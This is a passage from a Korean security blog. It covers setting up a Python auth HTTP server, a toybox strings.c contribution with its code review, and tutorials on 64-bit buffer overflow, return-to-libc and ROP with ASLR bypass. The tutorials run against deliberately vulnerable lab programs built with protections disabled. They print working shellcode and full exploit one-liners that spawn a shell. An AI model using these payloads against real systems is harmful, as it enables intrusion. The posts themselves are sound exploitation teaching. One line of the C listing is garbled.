/* 
written by kaspy (kaspyx@gmail.com)
*/ 

파이썬 SimpleHTTPAuthServer를 이용해서 간단한 HTTP서버를 구축해보도록하자.


서버 내부 파일 다운로드가 필요하면서 인증이 필요한 환경이라면 사용해도 좋을것이다.


해당 파이썬 라이브러리는 아래 URL에서 다운로드 받을수 있다.


- 다운로드 URL


https://gist.github.com/fxsjy/5465353



- pip 으로 설치하기


pip install git+git://github.com/tianhuil/SimpleHTTPAuthServer.git@master



- 사용법


mkdir "공유할 디렉토리"

cd "공유할 디렉토리"

python -m SimpleHTTPAuthServer portnumber userid:pwd


나는 아래와 같이 명령어를 입력해줘서 서버를 구축해줬다.


mkdir myftp

cd myftp

touch hello

sudo python -m SimpleHTTPAuthServer 80 kaspyx:12345



명령어를 실행해주고 자신의 아이피에 접속하면 아래와같이 접속 인증을 입력하라는 창이 뜰것이다.


위에서 설정한데로 입력해주면 아래와같은 디렉토리 리스팅이되는 화면을 볼수있을것이다.







저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우 공격기법이 등장한지도 꽤오래되었지만 64비트에서 공략하는 문서는 그리 많지않아서 정리하게되었다.

그냥... 64비트는 그환경특성상 exploit 하기 여러모로 굉장히 더어려워졌다.


1. 쉘코드

우선은 간단한거부터 말하자면 (당연한거지만) 64비트 리눅스 ELF 바이너리에서는 64비트 쉘코드를 써야한다는것이다. 


32비트 같은 경우에는 eax 레지스터에 0xb를 넣고 ebx에 "/bin/sh"의 문자열의 주소, ecx,edx에는 0을 넣은뒤 int 0x80 어셈블리를 실행하면 쉘이 쉘이 떴다. 


그러나 64비트에서는 syscall 이라는 어셈블리를 사용하고 rdi에 0x3b를 넣고, rsi와 rdx에 0을 넣은뒤 호출해야 쉘이 뜬다. 그러니 64비트 리눅스용 쉘코드를 검색해서 사용하도록 하자.


여기서는 구글링하여 여기의 쉘코드를 참조하였다.


2. 접근 주소범위


64비트 환경의 레지스터 크기는 8바이트이며 레지스터도 다르다.


근데 무엇보다 사용자가 접근할수 있는 주소는 첫 47비트까지이다. 


BoF를 일으켜서 ret등을 조작할때 0x00007fffffffffff 까지 가능하며 그보다 큰값이 들어오면 프로그램 예외가 발생하여 에러로 종료하게 된다. strcpy 함수 취약점을 공략하려해도 널바이트때문에 많은 제약사항이 생겨버렸다. 어떻게보면 강제적으로 ASCII 아머가 탑재되있다고봐도 무방하다.


3. 버퍼 오버플로우 기본


취약코드 샘플은 아래와 같다.

테스트환경: Ubuntu Linux 16.04 

  1. #include <stdio.h>                                                                          
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.   puts("This is 64bit bof vulnerable program");
  6.   char buf[256];
  7.  
  8.   if ( argc < 2)
  9.   {
  10.     return -1;
  11.   }
  12.  
  13.   strcpy(buf, argv[1]);
  14.   printf("You entered %s\n", buf);
  15.  
  16.   return 0;
  17. }
  18. //gcc -o bof64 bof64.c -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack
  19. //sysctl -w kernel.randomize_va_space=0

우선 기본적인것을 연습해야하니 ASLR과 NX를 끄고 테스트를 끄고 테스트하도록 하겠다.

페이로드는 (NoP + Shellcode) (256byte) + RBP (8byte) + RSP (8byte)로 볼수있다.

gdb를 통해 264바이트를 가득 채워서 strcpy를 통해 저장되는 주소를 확인해보도록하자.

r `python -c 'print "a" * 264' + "aaaaaaaa"`



쉘코드의 주소는 0x7fffffffdfb0 으로 확인되었다.

즉 아래와같이 파이썬을 통해 페이로드를 입력해주면 쉘이뜬다.

r `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xb0\xdf\xff\xff\xff\x7f"'` 



 gdb 없이 실행해서 위의 Payload를 넣으면 실행되지 않을것이다. 왜냐하면 그냥 실행하면 gdb를 통해 실행하는것과 환경변수등이 달라서 쉘코드의 주소가 저장되는 버퍼의 주소가 달라지기 때문이다. 그러나 주소가 크게 달라지진 않으므로 gdb 주소 기준으로 주소를 증가시키면서 100바이트 내로 브루트포스하면 쉘이뜬다.  나는 아래와같이 gdb 기준으로 48 바이트 더했더니 쉘이 떳다.


./bof64 `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xe0\xdf\xff\xff\xff\x7f"'`



4. RTL(Return to Library), ROP(Return Oriendted Programming)


RTL 같은경우는 pop rdi, ret 의 가젯을 찾은다음에 rdi에 "/bin/sh"의 주소를 이어로는 ret의 주소에는 system 함수주소를 넣어주면 된다. 



(사용할 gadget의 주소들이 0x00007fffffffffff 이하로 전부 null이 포함되어있다.)


그러나 예제의 strcpy 취약코드로는 RTL, ROP 기법을 사용하기 어려워졌다. 


왜냐하면 우리가 주입하는 페이로드는 47비트까지만 덮을수있어서 반드시 널바이트가 여러번 포함 되는데 그렇게되면 반복적인 스테이징 기법에 필요한 Payload를 사용할수 없기때문이다. 그래서 (read 함수등으로 인한 취약점이 아니라면)위에서 언급한 예제로는 공략이 불가능에 가깝다고본다. 그래서 이기법에 대해서는 따로 다루어보도록하겠다.


혹시 아는분이 있다면 알려주면 고맙겠습니다... :)



* 참고 링크


- http://crypto.stanford.edu/~blynn/rop/

http://hikai.tistory.com/7

http://lesh.tistory.com/32

http://shell-storm.org/shellcode/files/shellcode-806.php (쉘코드)

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


정말로 오랫만에 toybox 관련 포스팅을하는데

예전에 strings 라는 명령어를 기부(contribution) 했을때 소스코드입니다.

strigns 명령어는 바이너리에 존재하는 출력가능한 아스키코드등을 출력해주는 명령어입니다.

toybox 인프라에 맞게 코딩을 한후 toybox@lists.landley.net 으로 보내주면 됩니다.


  1. /*strings.c - print the strings of printable characters in files.
  2.  *
  3.  * Copyright 2014 Kyung-su Kim <kaspyx@gmail.com>
  4.  * Copyright 2014 Kyungwan Han <asura321@gmail.com>
  5.  *
  6.  * No Standard
  7.  * TODO: utf8 strings
  8.  * TODO: posix -t
  9.  
  10. USE_STRINGS(NEWTOY(strings, "an#=4<1fo", TOYFLAG_USR|TOYFLAG_BIN))
  11.  
  12. config STRINGS
  13.   bool "strings"
  14.   default n
  15.   help
  16.     usage: strings [-fo] [-n LEN] [FILE...]
  17.  
  18.     Display printable strings in a binary file
  19.  
  20.     -f  Precede strings with filenames
  21.     -n  At least LEN characters form a string (default 4)
  22.     -o  Precede strings with decimal offsets
  23. */
  24.  
  25. #define FOR_strings
  26. #include "toys.h"
  27.  
  28. GLOBALS(
  29.   long num;
  30. )
  31.  
  32. void do_strings(int fd, char *filename)
  33. {
  34.   int nread, i, wlen = TT.num, count = 0;
  35.   off_t offset = 0;
  36.   char *string = xzalloc(wlen + 1);
  37.  
  38.   for (;;) {
  39.     nread = read(fd, toybuf, sizeof(toybuf));
  40.     if (nread < 0) perror_msg("%s", filename);
  41.     if (nread < 1) break;
  42.     for (= 0; i < nread; i++, offset++) {
  43.       if (((toybuf[i] >= 32) && (toybuf[i] <= 126)) || (toybuf[i] == '\t')) {
  44.         if (count == wlen) fputc(toybuf[i], stdout);
  45.         else {
  46.           string[count++] = toybuf[i];
  47.           if (count == wlen) {
  48.             if (toys.optflags & FLAG_f) printf("%s: ", filename);
  49.             if (toys.optflags & FLAG_o)
  50.               printf("%7lld ",(long long)(offset - wlen));
  51.             printf("%s", string);
  52.           }
  53.         }
  54.       } else {
  55.         if (count == wlen) xputc('\n');
  56.         count = 0;
  57.       }
  58.     }
  59.   }
  60.   xclose(fd);
  61.   free(string);
  62. }
  63.  
  64. void strings_main(void)
  65. {
  66.   loopfiles(toys.optargs, do_strings);
  67. }

위의 코드는 rob이 다듬어준 코드인데, 원래 코드는 어디있는지 까먹어버렸네요 보내준 소스코드를 rob 에게로부터 간단한 소스코드 리뷰를 받고, 좀더 다듬어서 최종 commit이 되게됩니다.

아래는 rob으로부터 받은 code review 내용입니다.

나중에 UTF8 옵션에대한 처리가 필요하다고 하는군요

그리고 fencepost 오류가 있을거같았다고 했는데 아니었다는군요~!
(fencepost 에러?? -> http://egloos.zum.com/tools/v/18549)

보는바와같이 어렵지 않은 명령어도 많으니 리눅스 명령어 개발 및 Contribution에 관심이 많으신분은 한번 도전해보세요~!


 

Tweak help so -N is consistently using "LEN" isntead of sometimes "count".

 

Redo the read() part to catch errors in reading from the file. (I'd like to have a warning-only version of xread() but we'd still have to check for errors on return to break out of the file, so it wouldn't save us much. Have to think about it...)

 

This doesn't handle UTF8 strings. At some point in the future I may want to redo it so it does. (I guess 4 consecutive valid utf8 characters count as a hit, and then continue as long as the utf8 sequences are valid? Not sure how that would affect the false positive rate...)

 

Posix wants -t and hex output, this doesn't do that. Might also revisit for that. Accept (and ignore) -a.

 

Redo output so only the newline is using xputc(), and the other stuff is using printf() and fputc(). The rationale is to let the stdio buffer do its thing, rather than making a syscall for every byte. Hopefully if we have a short write stdio will notice and either retry or set the error flag, and then xputc() catches the error flag and the error case of nontransient output failure (disk full, pipe to a dead process, etc).

For the common case stdio should buffer the output and xputc flush it anyway.

 

trivial: I made wlen be equal to TT.len instead of TT.len-1, had the assignment postincrement, and checked for equality rather than greater than. (Having the constraint be TT.len-1 and the allocation be TT.len+1 looked like a fencepost error. It wasn't, but I didn't want other readers to have to work out why.)

 

Couple whitespace tweaks. Other than that, it was in pretty good shape.

 

Rob

_______________________________________________

Toybox mailing list

Toybox@lists.landley.net

http://lists.landley.net/listinfo.cgi/toybox-landley.net







저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 서론

RTL(Return to library) 기법이란, 버퍼오버플로우(Buffer Overflow, 이하 BOF) 취약점이 존재하는 프로그램을 익스플로잇 할때 해당 프로그램의 스택(stack) 영역에 실행 권한이 존재하지 않을때 프로그램이 사용하는 glibc 내에 존재하는 함수를 호출하는 기법이다.

요즘 대부분의 리눅스 및 윈도우 시스템은 NX 또는 DEP등으로 스택(stack) 영역에 실행 권한을 주고있지않고, 특별한 컴파일 옵션을 주어서만 실행권한을 줄수있는만큼 간단하면서도 자주 사용되는 방법이다.

포너블문제(pwnable)에서는 기본중에 기본이니 잘알아두도록하자.

* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 

2. 취약프로그램


BoF 취약점이 일어나는 프로그램의 소스코드는 아래와 같다. RTL을 공부하기위한것이니, Stack Canary와 ASLR 은 꺼두도록하자.

(32비트로 컴파일하기위해 -m32 옵션도 추가적으로 줬음)



  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o vulnerability vulnerability.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.  
  10.   if ( argc < 2 )
  11.   {
  12.     return -1;
  13.   }
  14.   else{
  15.     strcpy(buf,argv[1]);
  16.     printf("You entered : %s\n",buf);
  17.   }
  18. }


gdb로 열은후 maps로 보면 아래와 같이 스택영역에 실행권한이 없는것을 확인할수 있다.



3. 스택에 쉘을 올려놓고 공격해보기


BoF 취약점을 가진 프로그램을 gdb로 실행하여 dissembly 하면 아래와 같이 나와진다. 

(gdb 유틸 peda를 사용하면 아래와같이 좀더 보기쉽게 나온다.)



버퍼의 사이즈는 32바이트로 a * 32 byte + ebp (4byte) + ret(4byte)로 생각할수있다.


그렇다면 스택 버퍼에 쉘을 때려넣고 ret를 버퍼의 주소로 수정하여 공격을 해보자.

(당연히 안되겠지만 시험삼아)


버퍼의 주소는 0xffffd3e8 으로 확인되어진다.(+32 지점에 브포걸고 확인)


Payload = (shellcode + dummy) 32byte + ebp (dummy) + 0xffffd3e8 (버퍼의 주소)


로 생각할수있겠다.


이걸 파이썬으로 하면


 python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'


처럼 나타낼수있고, gdb로 확인해보자.


gdb에서 입력하고싶다면 


r `python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'`


으로 해주면된다.



위와같이 실행하면 ret 하기전에 다음 스택포인터가 버퍼의 주소를 가리키고있는것을 확인할수 있다.


그러나 아래와같이 SIGSEGV 시그널 예외가 발생하여 쉘코드가 실행되지 않는다.



쉘을 띄우고 싶다면, 컴파일 옵션에 -z execstack 을 줘서 다시 컴파일해서 테스트해보면된다.


4. RTL(Return to Library)로 공략하기


다시 처음으로와서 이번에는 Return to Library 기법을 사용해서 공격을 해보도록하자.


쉘을 띄우기 위해 system 이라는 함수 주소를 확인해보자.



system 함수의 주소는 0xf7e43940 이다.


RTL을 이해하기위해선 함수 파라미터 호출에대해 어셈블리수준에서 간단히 이해할수 있어야한다.


예를들어


int func(int a, int b,int c)


가 있다면 어셈블리로 


push c

push b

push a

call func 


형식으로 호출이 이루어진다. 물론 함수 호출규약(Calling Convention)에따라 다를수있지만 glibc는 위와같은(cdecl) 방식이 사용된다.


func 함수가 실행될때는


pop a

pop b

pop c 


형태로 매개변수를 가져와서 함수기능에맞게 처리한다.


즉 아래와같이 argv1, argv2를 push 했다면 함수의 인자 순서는 아래와같다.




아래는 ret 하기전에 스택에 저장된 값인데



첫번째 빨간색 박스에 (0000) system의 함수주소를, 그리고 두번째 박스(0008) 에는 "/bin/sh"의 문자열의 주소를 넘겨주면 된다.


buf에 바로 /bin/sh를 넣어줘서 주소를 넘겨주던지 아니면 glibc에 저장되어있는 주소를 넘겨줘도된다.




아래는 exploit 코드이다.


./vulnerability `python -c 'print  "a"*32 + "b" * 4 +  "\x40\x39\xe4\xf7"+ "xxxx" + "\x8b\x1e\xf6\xf7"'` 



exit 를하면 segmentation 오류가 뜰것인데 그건 004 번지에 exit 함수를 넣어줘야 제대로 종료가 되는데 직접 해보기 바람.


RTL 기법의 한계점이 있다면 연속적인 Call Chain을 구성하기 어렵다는것이고, ASCII Armor 나 ASLR 이 걸려있을때에 사용하기 어렵다는 것등이있다.


RTL은 간단하면서도 유용할때가 많이있다. 


예를들어 Windows 환경의 DEP를 끄고 싶다면 SetProcessDEPPolicy() 함수(매개변수를 하나만 받는경우)를 사용하여 DEP를 disable한이후에 스택에 쉘코드를 실행하는경우 등을 들수있다.(단. DEP 모드가 Always ON/Off , 모듈이 NXCOMPAT으로 되어있을경우는 해당되지않음) 리눅스 환경 같은경우 mprotect() 함수를 사용하여 스택에 nx를 해제한후에 쉘코드를 띄울수도있다.



- 참조 내부 링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? - http://kaspyx.kr/2

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 시작하며


ROP(Return Oriented Programming) 이란 버퍼 오버플로우 취약점이 발생하는 바이너리를 exploit 할때 가장 많이 사용되는 기법으로 바이너리 내부에 존재하는 gadget을 사용하여 호출 함수 및 인자를 조작하는 방법이다.


솔직히 관련 자료도 굉장히 많은데.. 나도 복습 할겸 정리해보았다.


일반적으로 ASLR이 걸려있는 바이너리는 Memory leak 또는 got, plt 등에 함수가 존재해야하는 특수한 전제가 붙어야 exploit 가능하지만, ROP 기법을 사용하면 (PIE가 걸려있지않아야함) 바이너리의 고정주소의 gadget을 활용하여 exploit 할수있다.


여기서 gadget이란 바이너리에 존재하는 pop, pop, ret 등의 어셈블리 코드라고 할수있다.


* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 


2. ROP 기본


우선 ROP를 하기위해 기본 개념을 살펴보자.

ret 하기전에 스택에 저장된 값이 아래와 같을때 RTL 기법은 아래와 같이 간단히 나타낼수있다.


그러나 위의 방식의 단점은 인자가 여러개일때 &next func가 호출될때 거기에 맞는 인자를 만들어줄수 없다. 


예를들어 


strcpy(buf,"/bin/sh");

mprotet(0xffffd42c, 256, PROT_EXECUTE)

system(buf);


를 해주고싶은데 단순 RTL로는 해결이 되지않는다. 즉 RTL Call Chain을 구성할수 없는데 이때는 esp을 올려주는 pop과 다시 esp가 가리키는 곳으로 돌아가는 ret을 활용하면 Call Chain을 구성해줄수 있다.


필요한 gadget을 설명하자면


ret는 esp가 가리키는 주소로 돌아가는 명령어이다.


pop eax, pop ebx, pop rax, add esp, 0x16.. 등등은 스택포인터를 올리는 명령어이다.

(뭐 pop eax는 eax에 esp를 넣고 esp를 4바이트 올린다라고 하는게 정확하지만 ROP 하는데에는 esp를 올리고 ret 한다는게 중요함.)


만약에 &next_func(아래에서는 &gadget)의 주소에 pop eax, pop ebx, ret 라는 어셈블리가 있다면 어떻게 될까?


&func 함수가 첫번째로 실행되고 ret 하면서 esp를 4바이트 올린다.


그리고 pop eax, pop ebx를 실행하여 최종 스택의 메모리 정보는 아래와같다.



&next func에서도 역시 똑같은 방식으로 함수의 인자에 따라 구성을 해주면된다.


즉 바이너리 내부에 gadget을 활용함으로써 Call Chain을 구성할수 있다.


3. 취약 프로그램 ROP로 공략해보기


ROP 기법을 설명하는것이니 아래와 같이 버퍼 오버플로우 취약점이 있는 프로그램이 있다고 해보자. 


  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o rop rop.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.   setreuid(geteuid(),geteuid());
  10.   puts("This is BoF vulnerability binary");
  11.  
  12.   if ( argc < 2 )
  13.   {
  14.     return -1;
  15.   }
  16.  
  17.   strcpy(buf,argv[1]);
  18.   printf("You entered : %s\n",buf);
  19. }


- 바이너리 실행



1) GOT(Global offset table) 및 PLT(Procedure Linkage Table) 영역


이전 블로그에서는 RTL을 사용해서 exploit을 하였지만, 이번에는 ROP를 활용해보도록하겠다.


우선은 알아야할것이 바이너리 내부에 GOT 및 PLT 영역인데, 여기에 대한 정리는 따로 하도록하고


PLT 영역은 현재 프로그램에서 사용하는 함수를 호출하기위해 처음으로 분기하는 루틴이고 GOT 에는 libc 내에 실제 함수의 주소가 저장되어있다.


즉 PLT -> GOT 순서로 호출되는데 예를들어 printf 함수를 호출한다면 printf의 PLT가 호출되고, PLT 에서는 다시 GOT로 점프한다. GOT에서는 첫번째 실행이면 printf의 주소를 저장해주고, printf가 호출되며 두번째부터는 저장된 주소로 호출하도록 되어있다.


취약점 바이너리에서는 printf 및 strcpy 함수가 호출되는데 실제 바이너리를 readelf 명령어로 열어보면 각 함수에 대한 got 및 plt가 나와있는것을 확인할수있다.



뭐 요약하자면 PLT 의 함수를 사용하면 몇개의 함수들은 ASLR의 문제를 해결할수있으며, PLT 함수를 호출함으로써 익스플로잇에 쉽게 활용할수있다.


2) ROP Gadget 구성하기 


ASLR이 걸려있어도 프로그램의 .data, .text 나 .bss 등의 영역은 고정이니 이 고정주소를 참조하면된다. 


나는 아래와같은 함수 호출을 하기위한 gadget을 구성해볼것이다.


strcpy(addr, "/bin/sh");

system(addr);


gadget은 반드시 ret 로 끝나야 하므로 아래와 같은 명령어로 찾아보도록해보자.


objdump -d rop | grep ret -B 3 



또한 "/bin/sh" 라는 문자열이 저장된곳도 알아야한다. (나는 0x0804a024 주소의 gadget을 사용하였다.)


보통 한번에 넘겨주면 좋지만 이번에는 연습용이므로 '/\x00', 'b\x00', 'n\x00', '/x0\\', 's\x00', 's\x00' 이런식으로 넘겨주도록 하겠다.(개노가다)


그렇다면 특정 주소(addr)에 strcpy를 여러번 해줘야한다.

(Payload는 대충 a * 36 + ebp(4byte) + ret (ROP Call chain)으로 보면되겠다.)


보통 문자열이 저장되는 주소는 .bss 이나 .data 영역을 많이 사용하는데, 이곳은 초기화되지않은 변수들이 저장되는 전역변수 영역이다


나는 strcpy 함수로 저장될 버퍼주소로 0x0804a024으로 잡았다.


readelf -a rop | grep data



이제부터 노가다의 시작이다.


gdb로 프로그램을 실행하여 find 명령어로 '/' , 'b', 'i' ,'n', '/' , 's', 'h'를 찾아서 일일이 strcpy에 1바이트씩 증가시키며 저장해주도록한다



대충 main에서 ret을 할때 스택 payload 구조는 아래와 같이 구성되어진다.




초록색은 strcpy의 plt 주소, 빨강색은 strcpy의 첫번째 버퍼주소, 주황색은 복사할 문자열의 주소 그리고 파랑색은 libc 내부의 system 함수주소, 보라색은 exit 함수의 주소이다.


strcpy의 PLT 주소는 0x08048390이며, gadget(pop, pop, ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였다.



gdb를 이용해서 바이너리 내부에 system 함수의 주소는 0xf7e43940 으로 확인되었고, exit 함수의 주소는 0xf7e377b0 이다.


아래는 exploit 코드이다.


./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x40\x39\xe4\xf7"  + "\xb0\x77\xe3\xf7" + "\x24\xa0\x04\x08" '`


위의 Call chain을 대략 c언어로 나타내면 아래와 같다.


strcpy(buf,'/');

strcpy(buf+1, 'b');

strcpy(buf+2, 'i');

strcpy(buf+3, 'n');

strcpy(buf+4, '/');

strcpy(buf+5, 's');

strcpy(buf+6, 'h');

sytem(buf);

exit(?);


- 실행 결과



4. ASLR 문제점 해결하기


위에서 설명한 exploit은 ASLR 환경에서 작동하지 않는다. 왜냐하면 glibc 내 함수(system) 가 고정이라는 전제를두고 익스플로잇을 하였기 때문이다. 그러나 ROP 기법을 좀더 활용하면 이를 해결할수있다.


이것도 전제조건이 붙긴하는데, .plt 와 .got 영역이 쓰기 가능해야하는것(Partial RELO) 과 PIE가 붙어있으면 안된다. 


우선 ASLR 환경에서 glibc 함수는 랜덤이긴하지만 offset은 동일한데, 


예를들어 glibc내에 printf 함수 주소를 알고있으면 (got에 저장되어있음) 다른 함수와의 offset을 통해 구할수있는것이다.


(나는 printf의 got 주소를 공략하였다. 시간이 된다면 geteuid 등을 공략해서 해보는것도 도움이 될것이다.)



printf got 주소 : 0x804a00c


execve 함수주소: 0xf7eb8400 (25568 offset)


printf 함수주소 : 0xf7e52020


system 함수주소: 0xf7e43940 (-59104 offset)


즉 got 에 저장된 printf 함수 주소에, 59104를 빼면 system 함수 주소가 나오고, 25568을 더하면 execve 함수 주소가 나오는데 이값은 일정하다는것이다.


printf의 got 주소에는 glibc printf 함수 주소가 저장되어있다. 우리는 printf의 got 주소를 system이나 execve등으로 수정한후에 plt의 printf를 불러주면 system 이나 execve 함수를 통해 익스플로잇을 할수있다.


(내가알기론) ROP 쉘 익스플로잇 방법은 2가지가 있다


1) GOT 주소 수정하기


pop ebx

pop ecx

ret


등을 통해 ebx에 got 주소를 넘겨주고


add [ebx+0x23158], ecx 

ret


등의 이상한 gadget을 통해 got에 저장된 주소값을 수정하는 작업을 더해줘서 공략하는 방법


2) 레지스터 조작후 CALL


또하나는


pop eax

pop edx

ret


이후에


lea ecx, [eax]

add ecx, edx

call ecx 


등을 통해 특정 주소의 값을 얻은후에 오프셋만큼 더한후에 call을 하는 방법이다.


물론 저렇게 쉽게 gadget이 나온다는 보장도없지만 최대한 간략화해서 설명했다.


3) ASLR 우회하여 공략하기


위에서 설명한 취약한 바이너리의 ASLR 공략을 위해 좀더 gadget을 찾아보았다.


참고로 나는 방법 1) 2) 둘다 활용하였다.


leave를 이용한 custom stack을 할까도 고민했는데.. 굉장한 노가다가 될거같아서 일일이 gadget을 넣어주었다.(이것도 개노가다)


ropme 라는 유용한 툴을 사용하여 gadget을 찾아보았다.



우선 pop ebx는 많아서 수월해보였는데, eax에 내가 원하는 값을 넣는 gadget이 존재하지않았다.


좀더 찾아보니 adc 형태로 특정 주소에 값을 쓰는 gadget을 발견할수 있었다.





ecx가 가리키는 주소에 1바이트씩 증가시키면서 bh 레지스터(bx의 상위 레지스터)로 1바이트씩 더해주면 strcpy의 널바이트 문제를 해결할수있다. 



그러나 pop ecx 와같은 gadget이 존재하지않았는데, 


아래와 같이 les 라는 명령어로 ecx에 값을 저장할수 있는 gadget을 찾을수 있었다.



ecx에는 les 명령어를 통해 (ebx *3)에 저장된 값을 넣어준다. 나는 0x0804A02C에 저장해줬다.)


즉 plt에 저장된 strcpy 함수를 통해 data 영역에 printf의 got 주소를 써주고 위의 les 명령어가 실행되면 ecx에 printf got 주소가 저장될것이다. 


printf의 got를 execve로 저장하고 printf의 plt를 불러주면 성공적으로 exploit 할수있다.


설명이 길어졌는데 아래와같이 exploit을 보며 이해해보기 바란다.


strcpy의 PLT 주소는 0x08048390이며, gadget(pop pop ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 이다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였고, 0x0804a02c는 les 명령어로 printf의 got 함수의 주소를 저장해둔 주소이다.


0x08048351 = pop ebx, ret

0x080485a6 = les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret

0x080485a0 = adc [ecx] bh ; div dword [ebp-0x1d] ; add esp 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ;;

0x080486ca = inc ecx ;;

0x08048370 = printf.plt

X\x64XX = pop ebx를 통해 ebx에 저장되는 값

0x08048007 = 0x0


./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2c\xa0\x04\x08" + "\x41\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2d\xa0\x04\x08" + "\x01\x83\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2e\xa0\x04\x08" + "\x1a\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2f\xa0\x04\x08" + "\x1b\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x30\xa0\x04\x08" + "\x07\x80\x04\x08" + "\x51\x83\x04\x08" + "\x64\x35\xac\x02" + "\xa6\x85\x04\x08" + "aaaa" + "bbbb" + "\x24\xa0\x04\x08" + "\x51\x83\x04\x08"+ "X\xe0XX" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x64XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08"  + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "eeee"+ "\x70\x83\x04\x08" + "XXXX" + "\x24\xa0\x04\x08" +"\x07\x80\x04\x08"+"\x07\x80\x04\x08"'`


- 실행 화면

(ASLR 환경에서도 잘 작동한다. 단 glibc의 버전이 다르면 offset 계산을 다시해줘야함, 내컴퓨터의 glibc 버전은 2.23)



5. 참고자료


- 외부링크

 - http://teamcrak.tistory.com/332

-내부 링크

 - http://kaspyx.tistory.com/99

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 



자바 리플렉션(Reflection)이란 컴파일된 자바 코드에서 역으로 클래스를 불러서 메소드(Method) 및 변수(Field)를 구해오는 방법으로 클래스를 동적 로딩하여 사용할때 많이 사용되고 디컴파일할때에도 자주 사용되는 기법이다.


1. 리플렉션(Reflection) 기본


예를들어 아래와 같이 Class가 있다고 하면 생성자(Constructor)도 있을것이고, 필드(Field) 및 메쏘드(Method)도 있을것이다.


vi MyClass.java


  1. public class MyClass{
  2.  
  3.   private static String myName = null;
  4.   public String pubString = null;
  5.  
